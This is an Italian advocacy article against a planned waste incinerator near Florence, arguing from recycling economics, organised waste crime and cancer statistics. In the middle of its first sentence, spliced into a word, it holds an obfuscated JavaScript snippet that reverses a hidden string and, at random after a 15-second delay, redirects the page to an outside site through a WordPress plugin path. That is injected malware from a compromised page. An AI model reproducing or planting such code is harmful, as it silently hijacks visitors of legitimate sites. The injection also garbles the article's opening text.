Inceneritore, una scelta paradossale

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Le amministrazioni pubbliche della Piana Fiorentina hanno un chiodo fisso. Costruire un nuovo inceneritore e ampliare quelli già presenti. Due o tre volte l’anno, Comuni, Province e Regione accordano i suoni e firmano l’ennesimo protocollo d’intesa, per dichiarare ufficialmente che ridurranno i rifiuti, che aumenteranno la raccolta differenziata, che cercheranno di convincere i propri cittadini a produrre meno spazzatura. Tutte azioni virtuose che vengono poi azzerate dalla costruzione di un nuovo pericoloso inceneritore in mezzo alle abitazioni civili, nel cuore di quella che è ormai la gr (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ande area metropolitana Firenze-Prato-Pistoia. Nell’ultimo accordo, firmato il 31 gennaio, è l’articolo 4 a vanificare ogni speranza: “I soggetti competenti procedono alla realizzazione o all’adeguamento degli impianti di termovalorizzazione previsti dai piani delle province di Firenze e Pistoia”.

O si ricicla o si brucia
Sì, lo ammettiamo. Siamo arrabbiati. Non comprendiamo e non accettiamo che le amministrazioni pubbliche affermino di voler ridurre e riciclare i rifiuti ma allo stesso tempo insistano nella volontà di costruire un nuovo grande inceneritore e ampliare quelli già presenti. Eppure è così chiaro. Se i rifiuti vengono in parte ridotti e in parte riciclati, l’inceneritore diventa inutile e quindi antieconomico; questo perché un inceneritore ha bisogno di tanti e tanti rifiuti per rendere, sia fisiologicamente (sono necessarie alte temperature) che economicamente (più rifiuti vengono introdotti e più guadagna la società gestrice). Al contrario se i rifiuti sono pochi l’inceneritore diventa una sorta di lavatrice a carico ridotto. Uno spreco. A meno che non si importino rifiuti da altre zone d’Italia o d’Europa. E’ legittimo, ma al di là del ritorno economico per i gestori, non capiamo perché dobbiamo importare l’immondizia di altri. Il rapporto di Legambiente intitolato “Le nuove frontiere dell’Ecomafia” denuncia un business del valore di oltre 10 miliardi di euro l’anno. Un traffico con le sue peculiari caratteristiche. Se regioni come Campania e Puglia sono aree di smaltimento preferenziale e le regioni del Nord zone di procacciamento dei rifiuti, emerge che anche la Toscana non è indenne da tale fenomeno in quanto sembra assumere un ruolo chiave per quanto riguarda alcune attività logistiche e di controllo: dall’intermediazione alla falsificazione delle analisi. Ecco un primo motivo per ostacolare a tutti i costi la costruzione di nuovi inceneritori. Se da una parte è culturalmente sbagliato perché non aiuta la riduzione di rifiuti, dall’altra socialmente pericoloso perché ha la capacità di attirare traffici spesso poco leciti.

Morire per bruciare i rifiuti
C’è però un’altra questione importante, fondamentale. Quella sanitaria. Gli inceneritori emettono in quantità sostanze nocive, polveri e diossine, che hanno la caratteristica di far ammalare e uccidere le persone che le respirano. Terrorismo? E’ quanto affermano i soliti amministratori, raccontando in giro che chi denuncia questo aspetto è in malafede. “Gli inceneritori di ultima generazione” dicono, “sono puliti, hanno filtri eccezionali”. Però nel frattempo chi lo dice ai familiari dei morti per un cancro ai polmoni, alla vescica o al colon, per un sarcoma ai tessuti molli, per un linfoma non-Hodgkin? Sono tutte malattie che hanno colpito gli abitanti delle Piagge, di Brozzi, di Campi Bisenzio, di Firenze, di Sesto Fiorentino quando era ancora attivo l’inceneritore di San Donnino. Obiezione. Ma quello era un ‘vecchio’ inceneritore. Giusto. Ma all’epoca si conoscevano solo le polveri chiamate PM10, adesso sappiamo che esistono le ben più pericolose PM2,5, le polveri finissime, che se ne infischiano dei filtri di nuova generazione – lo afferma, tra gli altri, la prestigiosa Società Britannica di Medicina Ecologica – e aggrediscono i tessuti di chi le respira: uomini, donne, bambini.

La Procura di Firenze indaga
La Procura della Repubblica di Firenze ha aperto intanto un’inchiesta sui rischi per la salute dei cittadini. Oltre cento medici di famiglia della Piana Fiorentina hanno denunciato l’atroce prospettiva di veder ammalare i propri assistiti per una causa evitabile. Il professor Annibale Biggeri del Centro per lo Studio e la Prevenzione Oncologica dell’Università di Firenze ha compiuto una ricerca dai risultati impressionanti per cui, sempre nella Piana Fiorentina, si rischia di morire a causa di un linfoma l’84% in più rispetto agli standard europei e del 126% per quanto riguarda il sarcoma. Il professor Gianni Del Moro informa che le neoplasie a Campi sono aumentate del 6%.

La strategia Rifiuti Zero
www.noinceneritori.org I Comitati della Piana, organizzazioni come Unaltracittà/Unaltromondo e il WWF, partiti come Prc e la parte più avanzata dei Verdi, ma nel nostro piccolo anche noi dell’Altracittà e della Comunità delle Piagge, lavoriamo da anni affinché si vada oltre l’anacronistico sistema dell’incenerimento. Vorremmo che i politici uscissero dalle certezze del Palazzo per confrontarsi con le accresciute conoscenze e le possibili innovazioni che oggi possono essere introdotte, a partire dal trattamento a freddo dei rifiuti fino alle pratiche di raccolta differenziata spinta che coinvolgono sempre più città. Gli esempi sono molti, da Treviso a New York, ma è quello che accade a San Francisco a colpirci particolarmente. La città statunitense ha infatti 800mila abitanti, più pendolari e turisti, una situazione analoga a quella della Piana Fiorentina. Grazie ad una nuova normativa che sostiene il riciclaggio, in soli 4 anni la raccolta differenziata è passata dal 42% al 63% e ciò ha reso inutile l’incenerimento. A Capannori di Lucca la scelta del porta a porta ha portato la raccolta differenziata addirittura all’82-84%. Nello stesso periodo Firenze è passata dal 17% al 27% e oggi è ferma a poco più del 30%.

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